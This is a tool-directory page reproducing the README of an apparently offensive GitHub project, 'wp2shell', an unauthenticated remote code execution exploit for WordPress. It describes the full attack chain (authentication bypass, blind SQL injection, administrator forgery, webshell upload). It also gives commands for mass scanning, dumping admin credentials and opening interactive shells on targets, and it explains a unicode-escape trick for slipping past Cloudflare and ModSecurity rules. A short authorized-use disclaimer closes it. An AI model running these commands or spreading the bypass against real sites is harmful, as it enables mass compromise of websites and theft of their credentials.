Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
wp2shell-Exploit-Waf-Bypass — WordPress Pre-Auth RCE Exploit + Scanner + WAF Bypass | CVE-2026-63030 + CVE-2026-60137 | Go + Python + Metasploit modules + Docker lab | Kitploit
Tools/GitHubGitHub/m4xsec/wp2shell-exploit-waf-bypass
Web Vulnerability ScannersExploitationWeb Application ExploitationAPI Security TestingWAF BypassPenetration TestingRed Teaming
GitHubm4xsec/wp2shell-exploit-waf-bypass

wp2shell-Exploit-Waf-Bypass

WordPress Pre-Auth RCE Exploit + Scanner + WAF Bypass | CVE-2026-63030 + CVE-2026-60137 | Go + Python + Metasploit modules + Docker lab

View Repository
2121 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
root@kitploit:~
                ___      __         ____
 _      _____  |__ \ ___/ /_  ___  / / /
| | /| / / _ \ __/ // __/ __ \/ _ \/ / / 
| |/ |/ /  __// __//_  / / / /  __/ / /  
|__/|__/\___//____//__/_/ /_/\___/_/_/   
                                         
  WordPress Pre-Auth RCE — CVE-2026-63030 + CVE-2026-60137
  by Venexy (M4xSec)

GitHub Release License: MIT Go Metasploit

Unauthenticated Remote Code Execution on WordPress 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1. Patched in 6.8.6, 6.9.5, 7.0.2.

Quick Install

root@kitploit:~
# Pre-compiled binary (fastest)
curl -sL https://github.com/M4xSec/wp2shell-Exploit-Waf-Bypass/releases/download/v1.0.0/wp2shell-linux-amd64 -o wp2shell && chmod +x wp2shell

# Or build from source
go build -o wp2shell go-scanner/wp2shell-master.go

Attack Chain

  1. Route confusion via nested batch requests with invalid primer path bypasses authentication
  2. Time-based blind SQLi extracts table prefix, admin ID, and credentials
  3. UNION-based row forgery seeds oEmbed caches (read-only SQLi → DB writes)
  4. Changeset elevation + re-entrant parse_request() forges an administrator
  5. Plugin upload deploys a self-cleaning webshell
  6. Command execution and automatic cleanup

Tools

Go Scanner (go-scanner/wp2shell-master.go)

All-in-one binary — scan, check, read, exploit, interactive shell.

root@kitploit:~
go build -o wp2shell-master go-scanner/wp2shell-master.go

# Mass scan
./wp2shell-master scan -f targets.txt -j -t 20

# Confirm SQLi
./wp2shell-master check https://target.com --waf --delay 3.0

# Extract admin creds
./wp2shell-master read https://target.com --preset users

# Pre-auth RCE (no password needed)
./wp2shell-master rce https://target.com --cmd id -y --waf --stealth

# Interactive shell
./wp2shell-master rce https://target.com -i -y

WAF Bypass Tools (waf-bypass/)

Standalone scripts for Cloudflare/ModSecurity bypass via JSON unicode escaping of SQL keywords.

  • core.py — Shared blind SQLi engine with WAF bypass
  • dump_version.py — Extract @@version
  • dump_dbname.py — Extract DATABASE()
  • dump_tables.py — Enumerate tables
  • dump_columns.py — Enumerate columns
  • rce_shell.py — Full RCE chain with WAF bypass

Metasploit Modules (metasploit-modules/)

  • wp2shell_rce.rb — Full RCE exploit module (PR #21760)
  • wp2shell_scanner.rb — Non-destructive scanner (PR #21761)

Install locally:

root@kitploit:~
mkdir -p ~/.msf4/modules/exploits/multi/http
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp metasploit-modules/wp2shell_rce.rb ~/.msf4/modules/exploits/multi/http/wp_wordpress_batch_rce.rb
cp metasploit-modules/wp2shell_scanner.rb ~/.msf4/modules/auxiliary/scanner/http/wp_wordpress_batch_sqli.rb

WAF Bypass Technique

The Cloudflare WAF inspects raw JSON bytes but does not decode \uXXXX escape sequences before pattern matching. WordPress's PHP json_decode() transparently decodes them.

  • SLEEP → SLEEP — bypasses keyword detection
  • Colon primer (: instead of http://:) — shorter, avoids URI pattern rules
  • /wp-json/batch/v1 permalink path — avoids ?rest_route= blocking
  • Origin + Referer headers from target domain — satisfies CORS/same-origin checks

Docker Lab

No-WAF Lab (port 8888)

root@kitploit:~
cd lab
docker compose up -d --build
# WordPress 6.9.0 at http://localhost:8888
# Admin: admin / Summer2026!

WAF Lab (port 9999)

ModSecurity CRS (OWASP) with Cloudflare-style rules — unicode bypass confirmed.

root@kitploit:~
cd lab/waf
docker compose up -d --build
# WordPress behind WAF at http://localhost:9999

Disclaimer

This tool is for authorized security testing only. Only use against systems you own or have explicit written permission to test. Unauthorized access is illegal.

License

MIT

Download Tool